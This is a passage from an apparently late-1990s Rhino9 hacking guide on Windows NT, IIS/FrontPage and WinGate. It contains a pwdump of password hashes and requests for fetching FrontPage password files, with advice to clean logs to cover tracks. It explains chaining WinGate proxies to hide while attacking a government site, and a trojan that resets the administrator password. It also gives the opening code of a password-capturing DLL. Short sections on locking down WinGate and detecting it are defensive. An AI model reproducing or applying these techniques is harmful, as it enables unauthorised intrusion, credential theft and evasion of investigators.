  4719. [*]--- WARNING: Able to access share: \\*SMBSERVER\NETLOGON
  4720. [*]--- Checking write access in: \\*SMBSERVER\NETLOGON
  4721. [*]--- Attempting to exercise .. bug on: \\*SMBSERVER\NETLOGON
  4722.  
  4723. [*]--- Attempting to access share: \\*SMBSERVER\Test
  4724. [*]--- WARNING: Able to access share: \\*SMBSERVER\Test
  4725. [*]--- Checking write access in: \\*SMBSERVER\Test
  4726. [*]--- Attempting to exercise .. bug on: \\*SMBSERVER\Test
  4727.  
  4728. [*]--- Attempting to access share: \\*SMBSERVER\D$
  4729. [*]--- Unable to access
  4730.  
  4731. [*]--- Attempting to access share: \\*SMBSERVER\ROOT
  4732. [*]--- Unable to access
  4733.  
  4734. [*]--- Attempting to access share: \\*SMBSERVER\WINNT$
  4735. [*]--- Unable to access
  4736.  
  4737. If the default share of Everyone/Full Control is active, then you are done, the server is hacked. If 
  4738. not, keep playing. You will be surprised what you find out.
  4739.  
  4740. [9.0.0] Frontpage Extension Attacks
  4741.     
  4742. Ofcourse, everyone should know what Microsoft Frontpage is. The server extensions are installed 
  4743. server side to provide added functionality for frontpage web authors. These extensions function 
  4744. as ôweb botsö if you will, giving web authors that use frontpage easy access to complex web and 
  4745. HTML functions. Soon after the extensions came into wide use, security concerns began to pop-
  4746. up. Most of these security concerns were very basic, the collection presented below are PROVEN 
  4747. methods that have been tested repeatedly in several types of configurations. 
  4748.  
  4749. [9.0.1] For the tech geeks, we give you an actual PWDUMP
  4750.  
  4751. This is the pwdump from the webserver the Lan Manager password is set to "password". This 
  4752. PWDUMP example is for those of you that have heard about the utility but may have never 
  4753. actually seen the output of one. This dump was used by Vacuum of rhino9 during his journey into 
  4754. cracking the NT encryption algorithm.
  4755.  
  4756. Administrator:500:E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD83
  4757. 0B7586C:Built-in account for administering the computer/domain::
  4758. Guest:501:NO PASSWORD*********************:NO PASSWORD*********************:Built-in 
  4759. account for guest access to the computer/domain::
  4760. STUDENT7$:1000:E318576ED428A1DEF4B21403EFDE40D0:1394CDD8783E60378EFEE4050
  4761. 3127253:::
  4762. ketan:1005:********************************:********************************:::
  4763. mari:1006:********************************:********************************:::
  4764. meng:1007:********************************:********************************:::
  4765. IUSR_STUDENT7:1014:582E6943331763A63BEC2B852B24C4D5:CBE9D641E74390AD9C1D0
  4766. A962CE8C24B:Internet Guest Account,Internet Server Anonymous Access::
  4767.  
  4768. [9.0.2] The haccess.ctl file
  4769.  
  4770. The hacces.ctl file is sometimes called a shadow password file, well, this is not exactly correct. 
  4771. The file can give you a lot of information, including the location of the service password file. A 
  4772. complete example of the haccess.ctl file is given below:
  4773.  
  4774. The #haccess.ctl file:
  4775.  
  4776. # -FrontPage-
  4777.  
  4778. Options None
  4779.  
  4780. <Limit GET POST PUT>
  4781. order deny,allow
  4782. deny from all
  4783. </Limit>
  4784. AuthName default_realm
  4785. AuthUserFile c:/frontpage\ webs/content/_vti_pvt/service.pwd
  4786. AuthGroupFile c:/frontpage\ webs/content/_vti_pvt/service.grp
  4787.  
  4788. Executing fpservwin.exe allows frontpage server extensions to be installed on
  4789.  
  4790. port 443 (HTTPS)Secure Sockets Layer
  4791. port 80  (HTTP)
  4792.  
  4793. NOTE: The Limit line. Telneting to port 80 or 443 and using GET, POST, and PUT can be used
  4794. instead of Frontpage.
  4795.  
  4796. The following is a list of the Internet Information server files location
  4797. in relation to the local hard drive (C:) and the web (www.target.com)
  4798.  
  4799. C:\InetPub\wwwroot                                                             <Home>
  4800. C:\InetPub\scripts                                                                 /Scripts
  4801. C:\InetPub\wwwroot\_vti_bin                                                /_vti_bin
  4802. C:\InetPub\wwwroot\_vti_bin\_vti_adm                                /_vti_bin/_vti_adm
  4803. C:\InetPub\wwwroot\_vti_bin\_vti_aut                                  /_vti_bin/_vti_aut
  4804. C:\InetPub\cgi-bin                                                                /cgi-bin
  4805. C:\InetPub\wwwroot\srchadm                                              /srchadm
  4806. C:\WINNT\System32\inetserv\iisadmin                                /iisadmin
  4807. C:\InetPub\wwwroot\_vti_pvt
  4808. FrontPage creates a directory _vti_pvt for the root web and for each FrontPage sub-web. For 
  4809. each FrontPage web with unique permissions, the _vti_pvt directory contains two files for the 
  4810. FrontPage web that the access file points to: 
  4811. service.pwd contains the list of users and passwords for the FrontPage web. 
  4812. service.grp contains the list of groups (one group for authors and one for administrators in 
  4813. FrontPage). 
  4814. On Netscape servers, there are no service.grp files. The Netscape password files are: 
  4815. administrators.pwd for administrators 
  4816. authors.pwd for authors and administrators 
  4817. users.pwd for users, authors, and administrators 
  4818.           
  4819. C:\InetPub\wwwroot\samples\Search\QUERYHIT.HTM   Internet Information Index Server sample
  4820. If Index Information Server is running under Internet Information Server:
  4821. service.pwd (or any other file) can sometimes be retrieved.
  4822. search for
  4823. "#filename=*.pwd" 
  4824.  
  4825. C:\Program Files\Microsoft FrontPage\_vti_bin
  4826. C:\Program Files\Microsoft FrontPage\_vti_bin\_vti_aut
  4827. C:\Program Files\Microsoft FrontPage\_vti_bin\_vti_adm
  4828. C:\WINNT\System32\inetserv\iisadmin\htmldocs\admin.htm  /iisadmin/isadmin
  4829.  
  4830. C:\InetPub\ftproot                                                                    The default location for the ftp 
  4831.  
  4832. The ftp service by default runs on the standard port 21.
  4833. Check to see if anonymous connections are allowed. By default, Internet Information Server 
  4834. creates and uses the account IUSR_computername for all anonymous logons. Note that the 
  4835. password is used only within Windows NT ; anonymous users do not log on using this user name 
  4836. and password.
  4837.  
  4838. Typically, anonymous FTP users will use "anonymous" as the user name and their e-mail 
  4839. address as the password. The FTP service then uses the IUSR_computername account as the 
  4840. logon account for permissions. When installed, Internet Information ServerÆs  Setup created the 
  4841. account IUSR_computername in the Windows NT User Manager for Domains and in Internet 
  4842. Service Manager. This account was assigned a random password for both in Internet Service 
  4843. Manager and in the Windows NT User Manager for Domains. If changed, the password, you must 
  4844. change it in both places and make sure it matches.
  4845.  
  4846. NOTE: Name and password are case sensitive
  4847. Scanning PORT 80 (http) or 443 (https) options:
  4848. GET /__vti_inf.html                       #Ensures that frontpage server extensions
  4849.                                                      are installed. 
  4850. GET /_vti_pvt/service.pwd          #Contains the encrypted password files.
  4851.                                                       Not used on IIS and WebSite servers
  4852. GET /_vti_pvt/authors.pwd          #On Netscape servers only. Encrypted
  4853.                                                        names and passwords of authors.
  4854. GET /_vti_pvt/administrators.pwd
  4855. GET /_vti_log/author.log              #If author.log is there it will need to
  4856.                                                        be cleaned to cover your tracks
  4857.  
  4858. GET /samples/search/queryhit.htm   
  4859.  
  4860. If service.pwd is obtained it will look similar to this:
  4861.  
  4862. Vacuum:SGXJVl6OJ9zkE
  4863.  
  4864. The above password is apple
  4865. Turn it into DES format:
  4866.  
  4867. Vacuum:SGXJVl6OJ9zkE:10:200:Vacuum:/users/Vacuum:/bin/bash
  4868.  
  4869. [9.0.3] Side note on using John the Ripper
  4870.  
  4871. The run your favorite unix password cracker like John The Ripper
  4872.  
  4873. Usage: JOHN [flags] [-stdin|-w:wordfile] [passwd files]
  4874.  
  4875. Flags: -pwfile:<file>[,..]   specify passwd file(s) (wildcards allowed)
  4876.        -wordfile:<file>      specify wordlist file
  4877.        -restore[:<file>]     restore session [from <file>]
  4878.        -user:login|uid[,..]  only crack this (these) user(s)
  4879.        -timeout:<time>       abort session after a period of <time> minutes
  4880.        -incremental[:<mode>] incremental mode [using JOHN.INI entry <mode>]
  4881.        -single               single crack mode
  4882.        -stdin                read words from stdin
  4883.        -list                 list each word
  4884.        -test                 perform a benchmark
  4885.        -beep                 beep when a password is found
  4886.        -quiet                do not beep when a password is found (default)
  4887.        -noname               don't use memory for login names
  4888.  
  4889. Other ways of obtaining service.pwd
  4890. http://ftpsearch.com/index.html
  4891. search for service.pwd
  4892. http://www.alstavista.digital.com
  4893. advanced search for link:"/_vti_pvt/service.pwd"
  4894.  
  4895. To open a FrontPage web
  4896.  
  4897. On the FrontPage ExplorerÆs File menu, choose Open FrontPage Web.
  4898. In the Getting Started dialog box, select Open an Existing FrontPage
  4899. Web and choose the FrontPage web you want to open.
  4900. Click More Webs if the web you want to open is not listed.
  4901. Click OK.
  4902. If you are prompted for your author name and password, you will have
  4903. to decrypt service.pwd, guess or move on.
  4904. Enter them in the Name and Password Required dialog box, and click OK.
  4905. Alter the existing page, or upload a page of your own.
  4906.  
  4907. [10.0.0] WinGate
  4908.  
  4909. There have been a few papers about WinGate. Some have explained how to bounce through its 
  4910. port 23 telnet proxy. Some have explained how to secure it. In this section we will show you how 
  4911. to use WinGate for its good and bad and you will learn from the good and bad examples. People 
  4912. in the past have said there are flaws and exploits to WinGates and this is wrong. There are 
  4913. system admins that poorly configure their systems but it is not WinGate itself that is the flaw.
  4914.  
  4915. [10.0.1] What Is WinGate?
  4916.  
  4917. WinGate is basically a program that lets you split a connection. Ex: You can share 1 modem with 
  4918. 2 computers. WinGate comes with several proxies and that is where the possible threat lies. (This 
  4919. sharing of internet connection is known as Connection Aggregation)
  4920.  
  4921. Note: We will only talk about 3 of the more used proxy portions of WinGate.
  4922.  
  4923. [10.0.2] Defaults After Install
  4924.  
  4925. When you do a regular install of WinGate without changing things there are a few defaults:
  4926. Port:  | Service:
  4927. 23      Telnet Proxy Server - This is default and running right after install.
  4928. 1080  SOCKS Server - This once setup via GateKeeper has no password until you set one.
  4929. 6667  IRC Mapping - This once setup via GateKeeper has no password until you set one.
  4930.  
  4931. The biggest threat to your server is the port 23 telnet proxy. 
  4932.  
  4933. [10.0.3] Port 23 Telnet Proxy
  4934.  
  4935. This proxy is setup and run as soon as you are done installing and to make things worse it has no 
  4936. password after install and doesnÆt ask you for one. Most system admins dont even know this and 
  4937. dont even think to try to password it and that is where the problem arises.
  4938.  
  4939. The telnet proxy is quiet simple. You telnet to port 23 on the server that is running the WinGate 
  4940. telnet proxy and you get a prompt WinGate> At this prompt you type in the server then a space 
  4941. and the port you want to connect to.
  4942.  
  4943. Example:
  4944. telnet wingate.net
  4945. Connected to wingate.net
  4946.  
  4947. WinGate> victim.com 23
  4948.  
  4949. What this example shows is someone telnetting to the WinGate server and then from that 
  4950. WinGate server telnet out of it to victim.com so on victim.com's logs it will show the wingate IP 
  4951. (wingate.net) and therefore the person telnetting keeps her IP a secret.
  4952.  
  4953. [10.0.4] Port 1080  SOCKS Proxy
  4954.  
  4955. The socks proxy is not installed by default but as soon as you use GateKeeper to install it. It 
  4956. installs with no password, unless you set one. If you are familiar with socks you know that there 
  4957. are many things you could do with it.
  4958.  
  4959. [10.0.5] Port 6667  IRC Proxy
  4960.  
  4961. The irc proxy is like how we would do a wingate telnet proxy bounce to an irc server except the irc 
  4962. proxy is set to goto a certain server already. This is not set to run after install but after you do 
  4963. install it it setups with no password, unless you set one.
  4964.  
  4965. [10.0.6] How Do I Find and Use a WinGate?
  4966.  
  4967. Finding WinGates are relatively easy to do. If you would like to find static IP WinGates (IP never 
  4968. changes) go to yahoo or something of the such and search for cable modems. The reason for 
  4969. searching for cable modems is because a lot of people with cable modems have WinGate so that 
  4970. they can split there cable modems large bandwidth and share it with the other computers in there 
  4971. house. One large cable modem company is Cox Cable. Their webpage can be found at 
  4972. www.home.com. The Cox Cable rang of IP's are: 24.1.X.X where depending on what number X 
  4973. equals is where in the country the cable modem is located. You can also use Port or Domain 
  4974. scanners and scan for Port 1080, which Identifies a SOCKS Proxy, this is also an easy way to 
  4975. find a WinGate.
  4976.  
  4977. Example:
  4978. 24.1.67.1 Resolves to c224084-a.frmt1.sfba.home.com which from that we know the abreveation 
  4979. sfba = San Fransico Bay Area or something close to that.
  4980. That is how to find static IP WinGates. To find dynamic IP (IP's that change every time a user 
  4981. logs on to the internet) WinGates it is not to hard at all. Almost every ISP big and small has users 
  4982. with WinGate. You need to either know the format of an ISP's dynamic ppp addresses or you 
  4983. need to get on IRC (Internet Relay Chat) and see what they are that way. Say that you already 
  4984. have a ppp IP of armory-us832.javanet.com. Now you dns that IP and get 209.94.151.143 now 
  4985. you take the IP address and stick it into a domain scanner program. Ex: Domscan which can be 
  4986. found on the Rhino9 web site (rhino9.abyss.com) Ok so you have domscan now. Run domscan 
  4987. and there is a box where you put in the IP address and the port to scan for. The WinGate telnet 
  4988. proxy by default runs on port 23. So we put in 209.94.151.143 in the first box in the domscan 
  4989. program and then 23 in the second box and then click start. The results we will get are: 
  4990.  
  4991. 209.94.151.2
  4992. 209.94.151.4
  4993. 209.94.151.6
  4994. 209.94.151.10
  4995. 209.94.151.8
  4996. 209.94.151.73
  4997. 209.94.151.118
  4998. 209.94.151.132
  4999.  
  5000. Now we have to check each of these IP's for the WinGate prompt. So to do that we need to telnet 
  5001. to 209.94.151.2 on port 23 and if it shows WinGate> right when we connect then it is a WinGate. 
  5002. If not we go to the next address which in this case would be 209.94.151.4. We would do that for 
  5003. the whole list of IP's.
  5004.  
  5005. Note: If we are scanning for dynamic IP WinGates it is more common that the last number of the 
  5006. IP of the WinGate will be higher. Ex: There is a better chance that 209.94.151.132 is a WinGate 
  5007. and that 209.94.151.2 is not a WinGate. 
  5008.  
  5009. [10.0.7] I have found a WinGate telnet proxy now what?
  5010.  
  5011. Well there are many uses for WinGate. The first use and probably the greatest is the WinGate 
  5012. bounce technique. Say you are going to hack the pentagon. You can use the WinGate technique 
  5013. to keep yourself from having a jail sentence with spike. Here is how it works. We get a collection 
  5014. of WinGate IP's. First we open our telnet program and telnet to the first WinGate on our list. We 
  5015. get the WinGate> prompt and at that prompt we type the second WinGate on our list then a 
  5016. space then 23 then hit enter. Then we get another WinGate prompt and at that prompt we type 
  5017. the third WinGate IP on our list then a space then 23 then enter and so on and so fourth until we 
  5018. have bounced through about 10 or so WinGates  then on the tenth WinGate we enter in the 
  5019. pentagon addresss. Ex: WinGate> www.pentagon-ai.army.gov 23 and then hit enter and start 
  5020. hacking away at it. So you ask, well cant they just trace back through all the WinGates? They 
  5021. could try to trace it back and here is how it would work. The pentagon has an IP on there logs, the 
  5022. ip is 2.2.2.2. The pentagon know that IP belongs to the an internet service provider called 
  5023. interlink. So the pentagon calls interlink and then tells them that at 3:43am on sunday an ip 
  5024. address of 2.2.2.2 hacked into there computer system. So the ISP (internet service provider) 
  5025. checks there logs and sees that there user John Doe was on at that time with that IP on sunday. 
  5026. So the pentagon has the swat team do a raid on John Doe's house and find nothing. Now it could 
  5027. end right here or the pentagon will maybe see that John Doe has WinGate and then check his 
  5028. logs. Now most people with WinGate dont even log so the pentagon could be stumped right there 
  5029. once again or they might see that another IP went through that WinGate and then they will have 
  5030. to repeat the process of calling the ISP and repeat that whole process again. Now if we went 
  5031. through 10 WinGate IP's you know that somewhere in that 10 either the ISP or the WinGate user 
  5032. wont know what IP was going through them, in otherwords if you bounce through 10 WinGate 
  5033. IP's you are a ghost, thy samurai... That is one use of WinGate's telnet proxy. Note: you might 
  5034. need to do a control + enter at the WinGate> prompt, it differs between telnet clients. Another use 
  5035. can be for IRC spoofing. To do this we take a WinGate ip and in our irc client we connect to that 
  5036. WinGate IP. This is an example of how it would look in mIRC for Windows. Do these commands:
  5037. 1. /server wingate.net
  5038. It then connects.
  5039. 2. /quote irc.irc.net 6667
  5040. It then connects to the irc server.
  5041. 3. /quote user whatever whatever whatever@server.com whatever
  5042. 4. /quote nick whatever
  5043. This sends the irc client info. Read the irc rfc for more info on that.
  5044. Once we have done /quote nick whatever mirc will be totally connected and we can then do 
  5045. whatever we want and our IP on IRC will be wingate.net or whatever the wingate IP is. So think 
  5046. about it and I am sure you can think of a few fun things to do with someone elses IP. Note: For 
  5047. you people that choose to abuse this. I have already coded an anti-wingate script for IRC to 
  5048. detect you mean people that choose to abuse this.
  5049. Those are 2 of the more common things to do with WinGate telnet proxies.
  5050.  
  5051. [10.0.8] Securing the Proxys
  5052.  
  5053. Service That Need To Be Locked To Stop Bouncing
  5054.  
  5055. 23 - Telnet Proxy Server
  5056. 1080 - SOCKS Server
  5057. 6667 - IRC Mapping
  5058.  
  5059. All Ports Can Be Locked The Same Way
  5060.  
  5061. 1-    Load Gatekeeper
  5062. 2-    Logon To Wingate Server As Administrator
  5063. 3-    Select Service To Lock
  5064. 4-    Right Click And Pick Properties
  5065. 5-    Option One Of Lock Down Is Click "Bind to specific interface" and put 127.0.0.1 in the box
  5066. 6-    Other Way To Lock Down A Service Is Select Policies, Double Click on "Everyone 
  5067. Unrestricted Rights", Click on Location Tab, Click on "Specify locations from where this 
  5068. recipient has rights" next you will be entering the IP(s) you what to give access to this service 
  5069. (Add 127.0.0.1 so the local box has access) you can add by each IP or by groups of IPs like 
  5070. 199.170.0. *    
  5071.  
  5072. Some Other Notes Guest Account Has No Password and Enable on Install Basic Install Let's 
  5073. EVERONE have access to bounce from your system. All ports but the "remote control service" is 
  5074. unlocked and everyone has access, you should turn off any services you do not have a need for 
  5075. by double clicking on the service and unchecking  the "Accept connections on port" 
  5076.  
  5077. [10.0.9] mIRC 5.x WinGate Detection Script
  5078.  
  5079. Note: This is script will kick/ban anyone running WinGate.
  5080.  
  5081. alias telnet .msg $me $chr(1) $+ DCC CHAT CHAT $longip($$1) $$2 $+ $chr(1)
  5082. alias removenickcheck unset %lastjoined $nick
  5083. alias gatekick {
  5084.   set %nick $$1
  5085.   set %chan 0
  5086.   :loop2
  5087.   inc %chan 1
  5088.   if (%nick ison $chan(%chan)) {
  5089.     mode $chan(%chan) -o %nick
  5090.     ban $chan(%chan) %nick 2
  5091.     kick $chan(%chan) %nick -=_Wingate Spoof_=-
  5092.     goto loop2
  5093.   }
  5094.   if ($chan(%chan) == $null) { goto end2 }
  5095.   goto loop2
  5096.   :end2
  5097.   unset %nick
  5098. }
  5099. #spoofcheck on
  5100. on 1:JOIN:%protchans:set %gatenick $nick | set %lastjoined $nick | timer 1 3 removenickcheck | 
  5101. write $mircdirips.txt %gatenick --> $site <--   [ $time, $date ] | dns $nick
  5102. on 1:DNS:echo -a _DNS ON [ $+ $nick $+ ]] | echo -a _IP address: $iaddress | echo -a _Name 
  5103. address: $naddress | set %gateip $iaddress | set %gatename $naddress | telnet %gateip 23 | 
  5104. timer66 1 15 close -c 
  5105. on 1:CHATOPEN:msg =$nick gatecheck | timer66 1 15 close -c 
  5106. on 1:CHAT:*WinGate>*:gatekick %gatenick | write $mircdirgate.txt %gatename = %gateip 
  5107. on 1:CHAT:*many*:gatekick %gatenick | write $mircdirgate.txt %gatename = %gateip
  5108. #spoofcheck end
  5109. #gateslip on
  5110. on 1:NICK:{
  5111.   if ($nick == %lastjoined) && ($nick != $me) {
  5112.     echo 4 -a (-=_GateSlip Check_=-)
  5113.     kick %protchans $newnick -=_GateSlip_=-
  5114.     removenickcheck 
  5115.   }
  5116. }
  5117. #gateslip end
  5118.  
  5119. [10.1.0] Conclusion
  5120.  
  5121. WinGate is just another example of a program that is good but it doesnt warn the system admins 
  5122. and as we all know the common system admin doesnt read much just installs thinking it is secure. 
  5123. Software programmers need to either make their programs default to a tight security or at least as 
  5124. the program is install they need it to warn the system admin of possible miss configurations. 
  5125. Wether it is Microsoft products or this simple WinGate remember one thing, the software 
  5126. developer makes the software work they rarely ever warn you on miss configurations. Yes people 
  5127. do put out patches for true exploits etc... but where are the papers on miss configurations? Where 
  5128. are the warnings of things you might do that you should? If I was one of the WinGate 
  5129. programmers I would prompt the user while WinGate is installing and tell them of different 
  5130. security risks they may face. Hope that this paper has helped and that we, Rhino9, have helped.
  5131.  
  5132. [11.0.0] What a security person should know about WinNT
  5133.  
  5134.   The basis for this portion of the book was gleaned from simple nomads FAQ, much Props to 
  5135. him.
  5136.  
  5137. [11.0.1] NT Network structures (Standalone/WorkGroups/Domains) 
  5138.  
  5139. Each NT workstation participates in either a workgroup or a domain. Most companies will have 
  5140. NT workstations participate in a domain for management of the resource by the administrator.
  5141.  
  5142. A domain is one or more servers running NT server with all of the servers functioning as a single 
  5143. system. The domain not only contains servers, but NT workstations, Windows for Workgroups 
  5144. machines, and even LAN Manager 2.x machines. The user and group database covers ALL of 
  5145. the resources of a domain.
  5146.  
  5147. Domains can be linked together via trusted domains. The advantage of trusted domains is that a 
  5148. user only needs one user account and password to get to resources across multiple domains, 
  5149. and administrators can centrally manage the resources.
  5150.  
  5151. A workgroup is simply a grouping of workstations that do not belong to a domain. A standalone 
  5152. NT workstation is a special case workgroup. 
  5153.  
  5154. User and group accounts are handled differently between domain and workgroup situations. User 
  5155. accounts can be defined on a local or domain level. A local user account can only logon to that 
  5156. local computer, while a domain account can logon from any workstation in the domain.
  5157.  
  5158. Global group accounts are defined at a domain level. A global group account is an easy way to 
  5159. grant access to a subset of users in a domain to, say, a single directory or file located on a 
  5160. particular server within the domain. Local group accounts are defined on each computer. A local 
  5161. group account can have global group accounts and user accounts as members.
  5162.  
  5163. In a domain, the user and group database is "shared" by the servers. NT workstations in the 
  5164. domain DO NOT have a copy of the user and group database, but can access the database. In a 
  5165. workgroup, each computer in the workgroup has its own database, and does not share this 
  5166. information.
  5167.  
  5168. [11.0.2] How does the authentication of a user actually work?
  5169.  
  5170. First, a user logs on. When this happens, NT creates a token object that represents that user. 
  5171. Each process the user runs is associated with this token (or a copy of it). The token-process 
  5172. combination is refered to as a subject. As subjects access objects such as files and directories, 
  5173. NT checks the subject's token with the Access Control List (ACL) of the object and determines 
  5174. whether to allow the access or not. This may also generate an audit message.
  5175.  
  5176. [11.0.3] A word on NT Challenge and Response 
  5177.  
  5178.  When a user logs on, more than likely they will be using Windows NT Challenge and Response. 
  5179. When using this type of password encryption, the password never actually crosses the wire. A 
  5180. null or random set of characters is generated at the client machine. Those characters are 
  5181. encrypted using the users password. That encrypted information is then sent across the wire. The 
  5182. server then uses what it has stored in its database as the users password to un-encrypt the sent 
  5183. data. If the un-encryption works, it knows that the user typed in the correct password client side.
  5184.  
  5185. [11.0.4] Default NT user groups
  5186.  
  5187. There are a number of built-in local groups in NT that can do various functions, some which 
  5188. would be better off being left to the Administrator. Administrators can do everything, but the 
  5189. following groups' members can do a few extra items (I only verified this on 4.0):
  5190.  
  5191. - Server Operators: do a shutdown, even remotely; reset the system time; perform backups and 
  5192. restores.
  5193. - Backup Operators: do a shutdown; perform backups and restores.
  5194. - Account Operators: do a shutdown.
  5195. - Print Operators: do a shutdown.
  5196.  
  5197. Also members of these groups can login at the console. As you explore this book and possibly 
  5198. someone else's server, remember these permissions. Gaining a Server Operator account and 
  5199. placing a trojan that activates after a remote shutdown could get you Administrator.
  5200.  
  5201. [11.0.5] Default directory permissions
  5202.  
  5203. I only verified these on 4.0. And remember, Administrators are deities. Otherwise, if it isn't here, 
  5204. the group doesn't have access.
  5205.  
  5206. \ (root), \SYSTEM32, \WIN32APP - Server Operators and Everyone can read and execute files, 
  5207. display permissions on files, and do some changing on file attributes.
  5208.  
  5209. \SYSTEM32\CONFIG - Everyone can list filenames in this directory.
  5210.  
  5211. \SYSTEM32\DRIVERS, \SYSTEM\REPL - Server Operators have full access, Everyone has read 
  5212. access.
  5213.  
  5214. \SYSTEM32\SPOOL - Server Operators and Print Operator have full access, Everyone has read 
  5215. access.
  5216.  
  5217. \SYSTEM32\REPL\EXPORT - Server Operators can read and execute files, display permissions 
  5218. on files, and do some changing on file attributes. Replicator has read access.
  5219.  
  5220. \SYSTEM32\REPL\IMPORT - Server Operators and Replicator can read and execute files, 
  5221. display permissions on files, and do some changing on file attributes. Everyone has read access.
  5222.  
  5223. \USERS - Account Operators can read, write, delete, and execute. Everyone can list filenames in 
  5224. this directory.
  5225.  
  5226. \USERS\DEFAULT - Everyone has read, write, and execute.
  5227.  
  5228. [11.0.6] Common NT accounts and passwords
  5229.  
  5230. There are two accounts that come with NT out of the box û administrator and guest. In a network 
  5231. environment, I have run into local administrator access unpassworded, since the Sys Admin 
  5232. thought that global accounts ruled over local ones. Therefore it is possible to gain initial access to
  5233. an NT box by using its local administrator account with no password.
  5234.  
  5235. Guest is another common unpassworded account, although recent shipments of NT disable the 
  5236. account by default. While it is possible that some companies will delete the guest account, some 
  5237. applications require it. If Microsoft Internet Studio needs to access data on another system, it
  5238. will use guest for that remote access.
  5239.  
  5240. [11.0.7] How do I get the admin account name?
  5241.  
  5242. It is possible that a Sys Admin will create a new account, give that account the same access as 
  5243. an administrator, and then remove part of the access to the administrator account. The idea here 
  5244. is that if you don't know the administrator account name, you can't get in as an administrator.
  5245.  
  5246. Typing "NBTSTAT -A ipaddress" will give you the new administrator account (generally tagged as 
  5247. a 2 digit 03 code), assuming they are logged in. A bit of social engineering could get them to log 
  5248. in as well. nbtstat will also give you other useful information such as services running, the NT 
  5249. domain name, the nodename, and the ethernet hardware address.
  5250.  
  5251. [11.0.8] Accessing the password file in NT
  5252.  
  5253. The location of what you need is in \\WINNT\SYSTEM32\CONFIG\SAM which is the location of 
  5254. the security database. This is usually world readable by default, but locked since it is in use by 
  5255. system compotents. It is possible that there are SAM.SAV files which could be readable. If so, 
  5256. these could be obtained for the purpose of getting password info.
  5257.  
  5258. During the installation of NT a copy of the password database is put in \\WINNT\REPAIR. Since it 
  5259. was just installed, only the Administrator and Guest accounts will be there, but maybe 
  5260. Administrator is enough -- especially if the Administrator password is not changed after 
  5261. installation.
  5262.  
  5263. If the Sys Admin updates their repair disks, or you get a hold of a copy of the repair disks, you 
  5264. can get password database. 
  5265.  
  5266. If you are insane, you can go poking around in the SAM secret keys. First, schedule service to 
  5267. logon as LocalSystem and allow it to interact with the desktop, and then schedule an interactive 
  5268. regedt32 session. The regedt32 session will be running as LocalSystem and you can play around 
  5269. in the secret keys. However, if you change some stuff this might be very bad. You have to be 
  5270. Administrator to do this, though, so for the hacker you need to walk up to the machine while the 
  5271. Administrator is logged in and distract them by telling them they're giving away Microsoft t-shirts 
  5272. in the lobby (this doesn't always work ;-).
  5273.  
  5274. [11.0.9] Cracking the NT passwords
  5275.  
  5276. First off, it should be explained that the passwords are technically not located on the server, or in 
  5277. the password database. What IS located there is a one-way hash of the password. Let me 
  5278. explain...
  5279.  
  5280. Two one-way hashes are stored on the server -- a Lan Manager password, and a Windows NT 
  5281. password. Lan Manager uses a 14 byte password. If the password is less than 14 bytes, it is 
  5282. concantenated with 0's. It is converted to upper case, and split into 7 byte halves. An 8 byte odd 
  5283. parity DES key is constructed from each 7 byte half. Each 8 byte DES key is encrypted with a
  5284. "magic number" (0x4B47532140232425 encrypted with a key of all 1's). The results of the magic 
  5285. number encryption are concantenated into a 16 byte one way hash value. This value is the Lan 
  5286. Manager "password".
  5287.  
  5288. A regular Windows NT password is derived by converting the user's password to Unicode, and 
  5289. using MD4 to get a 16 byte value. This hash value is the NT "password".
  5290.  
  5291. So to crack NT passwords, the username and the corresponding one way hashes (Lan Man and 
  5292. NT) need to be extracted from the password database. Instead of going out and writing some 
  5293. code to do this, simply get a copy of Jeremy Allison's PWDUMP, which goes through SAM and 
  5294. gets the information for you.
  5295.  
  5296. PWDUMP does require that you are an Administrator to get stuff out of the registry, but if you can 
  5297. get ahold of copies of the security database from another location you can use those. For actually 
  5298. cracking the password, I recommend using L0phtcrack.
  5299.  
  5300. [11.1.0] What is ælast login timeÆ?
  5301.  
  5302. Let's say an admin is checking the last time certain users have logged in by doing a NET USER 
  5303. <userid> /DOMAIN. Is the info accurate? Most of the time it will NOT be.
  5304.  
  5305. Most users do not login directly to the Primary Domain Controller (PDC), they login to a Backup 
  5306. Domain Controller (BDC). BDCs do NOT contain readonly versions of SAM, they contain read-
  5307. write versions. To keep the already ungodly amount of network traffic down, BDCs do not tell the 
  5308. PDC that they have an update of the last login time until a password change has been done. And
  5309. the NET USER <userid> /DOMAIN command checks the PDC, so last login time returned from 
  5310. this command could be wildly off (it could even show NEVER).
  5311.  
  5312. As a hacker, if you happen to know that password aging is not enforced, then you can bet that 
  5313. last login times will probably not be very accurate.
  5314.  
  5315. [11.1.1] Ive got Guest access, can I try for Admin?
  5316.  
  5317. Basic NT 3.51 has some stuff read/writeable by default. You could edit the association between 
  5318. an application and the data file extension using regedt32. First off, you should write a Win32 app 
  5319. that does nothing but the following -
  5320.  
  5321.         net user administrator biteme /y
  5322.         notepad %1 %2 %3 %4 %5 
  5323.  
  5324. In a share you have read/write access to, upload it. Now change the association between .txt files 
  5325. and notepad to point to the location of the uploaded file, like 
  5326.  
  5327. \\ThisWorkstation\RWShare\badboy.exe.
  5328.  
  5329. Now wait for the administrator to launch a text file by double clicking on it, and the password 
  5330. becomes "biteme".
  5331.  
  5332. Of course, if the Sys Admin is smart they will have removed write permission from Everyone for 
  5333. HKEY_CLASSES_ROOT, only giving out full access to creator\owner.
  5334.  
  5335. [11.1.2] I heard that the %systemroot%\system32 was writeable?
  5336.  
  5337. Well, this can be exploited on NT 4.0 by placing a trojaned FPNWCLNT.DLL in that directory. 
  5338. This file typically exists in a Netware environment. First compile this exploit code written by 
  5339. Jeremy Allison (jra@cygnus.com) and call the resulting file FPNWCLNT.DLL. Now wait for the 
  5340. user names and passwords to get written to a file in \temp.
  5341.  
  5342. ------------- cut --------------
  5343. #include <windows.h>
  5344. #include <stdio.h>
  5345. #include <stdlib.h>
  5346.  
  5347. struct UNI_STRING {
  5348.   USHORT len;
  5349.   USHORT maxlen;
  5350.   WCHAR *buff;
  5351.   };
  5352.  
  5353. static HANDLE fh;
  5354.  
  5355. BOOLEAN __stdcall InitializeChangeNotify ()
  5356. {
  5357.   DWORD wrote;
  5358.   fh = CreateFile("C:\\temp\\pwdchange.out", GENERIC_WRITE,
  5359.     FILE_SHARE_READ|FILE_SHARE_WRITE, 0, CREATE_ALWAYS,
  5360.     FILE_ATTRIBUTE_NORMAL|FILE_FLAG_WRITE_THROUGH,
  5361.     0);
  5362.   WriteFile(fh, "InitializeChangeNotify started\n", 31, &wrote, 0);
  5363.   return TRUE;
  5364. }
  5365.  
